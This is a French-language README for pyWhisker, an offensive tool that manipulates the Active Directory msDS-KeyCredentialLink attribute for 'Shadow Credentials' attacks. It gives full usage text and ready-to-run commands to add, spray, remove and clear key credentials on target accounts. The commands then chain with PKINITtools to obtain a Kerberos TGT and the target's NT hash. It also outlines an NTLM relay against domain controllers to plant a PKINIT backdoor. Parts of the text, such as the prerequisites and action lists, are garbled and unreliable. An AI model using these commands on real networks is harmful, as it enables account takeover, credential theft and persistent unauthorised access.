
Version Python de l'outil C# pour les attaques 'Shadow Credentials'
pyWhisker est un équivalent Python de l'outil original Whisker créé par Elad Shamir et écrit en C#. Cet outil permet aux utilisateurs de manipuler l'attribut msDS-KeyCredentialLink d'un utilisateur/ordinateur cible afin d'obtenir un contrôle total sur cet objet.
Il est basé sur Impacket et sur un équivalent Python de DSInternals de Michael Grafnetter appelé PyDSInternals et créé par podalirius.
Cet outil, avec PKINITtools de Dirk-jan, permet une exploitation complète de la primitive sur des systèmes basés sur UNIX uniquement.
Prérequis pour cette attaque :
msDs-KeyCredentialLink de l'utilisateur ou du compte ordinateur cible.Pourquoi certains prérequis ?
AS_REQ <-> AS_REP.Une KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP sera levée si le prérequis 3 n'est pas satisfait.
Plus d'informations sur cette primitive « Shadow Credentials » :
pyWhisker peut être utilisé pour effectuer diverses actions sur l'attribut msDs-KeyCredentialLink d'une cible :
msDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLinkmsDs-KeyCredentialLink au format JSONmsDs-KeyCredentialLink avec les KeyCredentials d'un fichier JSONpyWhisker prend en charge les authentifications suivantes :
Entre autres, pyWhisker prend en charge la verbosité multi-niveaux, il suffit d'ajouter -v, -vv, ... à la commande :)
pyWhisker peut également fonctionner entre domaines, voir l'argument -td/--target-domain.
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
[--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
[-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]
Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.
optional arguments:
-h, --help show this help message and exit
-t TARGET_SAMNAME, --target TARGET_SAMNAME
Target account
-tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
Path to a file with target accounts names (one per line)
-a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
Action to operate on msDS-KeyCredentialLink
--use-ldaps Use LDAPS instead of LDAP
--use-schannel Use LDAP Schannel (TLS) for certificate-based authentication
-v, --verbose verbosity level (-v for verbose, -vv for debug)
-q, --quiet show no information at all
authentication & connection:
--dc-ip ip address IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
-d DOMAIN, --domain DOMAIN
(FQDN) domain to authenticate to
-u USER, --user USER user to authenticate with
-crt, --certfile CERTFILE
Path to the user certificate (PEM format) for Schannel authentication
-key, --keyfile KEYFILE
Path to the user private key (PEM format) for Schannel authentication
-td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
Target domain (if different than the domain of the authenticating user)
--no-pass don't ask for password (useful for -k)
-p PASSWORD, --password PASSWORD
password to authenticate with
-H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
NT/LM hashes, format is LMhash:NThash
--aes-key hex key AES key to use for Kerberos Authentication (128 or 256 bits)
-k, --kerberos Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
specified in the command line
arguments when setting -action to add:
-P PFX_PASSWORD, --pfx-password PFX_PASSWORD
password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
-f FILENAME, --filename FILENAME
filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
-e {PEM,PFX}, --export {PEM,PFX}
choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))
arguments when setting -action to remove:
-D DEVICE_ID, --device-id DEVICE_ID
device ID of the KeyCredentialLink to remove when setting -action to remove
Voici des exemples et captures d'écran de ce que pyWhisker peut faire.
pyWhisker peut lister les KeyCredentials existants. De plus, il peut déplier toute la structure pour montrer chaque information que cet objet contient (y compris les paramètres de la clé publique RSA).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

pyWhisker peut supprimer des valeurs spécifiques ou effacer tout l'attribut.
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

pyWhisker peut générer des clés RSA, un certificat X509, une structure KeyCredential, et écrire les informations nécessaires comme nouvelles valeurs de l'attribut msDs-KeyCredentialLink. Le certificat peut être exporté au format PFX (#PKCS12, certificat + clé privée protégés par mot de passe) ou au format PEM (certificat PEM, clé privée PEM, aucun mot de passe requis).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

Une fois les valeurs générées et ajoutées par pyWhisker, un TGT peut être demandé avec gettgtpkinit.py. Le hash NT peut ensuite être récupéré avec getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

Une fois les valeurs générées et ajoutées par pyWhisker, un TGT peut être demandé avec gettgtpkinit.py. Le hash NT peut ensuite être récupéré avec getnthash.py.
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

pyWhisker peut enchaîner plusieurs ajouts de KeyCredentials sur un ensemble de cibles, c'est-à-dire pulvériser (si les identifiants utilisés ont les permissions appropriées).
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"
Les KeyCredentials stockés dans l'attribut msDs-KeyCredentialLink peuvent être analysés, structurés et sauvegardés au format JSON.

L'export JSON peut ensuite être utilisé pour restaurer l'attribut msDs-KeyCredentialLink dans l'état où il était au moment de l'export.

Une Pull Request a été fusionnée dans ntlmrelayx pour inclure la fonctionnalité d'ajout de pyWhisker.

Les objets utilisateur ne peuvent pas modifier leur propre attribut msDS-KeyCredentialLink. Cependant, les objets ordinateur le peuvent. Cela signifie que le scénario suivant pourrait fonctionner : déclencher une authentification NTLM depuis DC01, la relayer vers DC02, faire en sorte que pyWhisker modifie l'attribut de DC01 pour y créer une backdoor de pré-authentification Kerberos PKINIT.

Les objets ordinateur peuvent modifier leur propre attribut msDS-KeyCredentialLink mais ne peuvent ajouter un KeyCredential que si aucun n'existe déjà.

Si vous rencontrez des erreurs, assurez-vous qu'il n'y a pas de décalage horaire entre votre machine attaquante et le centre de distribution de clés (généralement le contrôleur de domaine). Pour éviter cette erreur, les certificats générés par l'outil pyWhisker sont valides 40 ans avant la date actuelle et 40 ans après.
Remerciements à Dirk-jan pour son travail sur PKINITtools. Nous avions initialement prévu de remanier les scripts d'Impacket (notamment gettgt.py) pour implémenter la pré-authentification PKINIT asymétrique pour Kerberos. Il nous a évité bien des maux de tête en l'écrivant avant nous !
Remerciements à toute l'équipe derrière Impacket et ses contributeurs.
Remerciements à Elad Shamir qui a créé l'outil original en C# (Whisker) et à Michael Grafnetter qui a réalisé DSInternals, une bibliothèque qui effectue l'essentiel du travail lourd de Whisker. Il a également été celui qui a présenté la démonstration originale à Black Hat présentant la primitive d'attaque.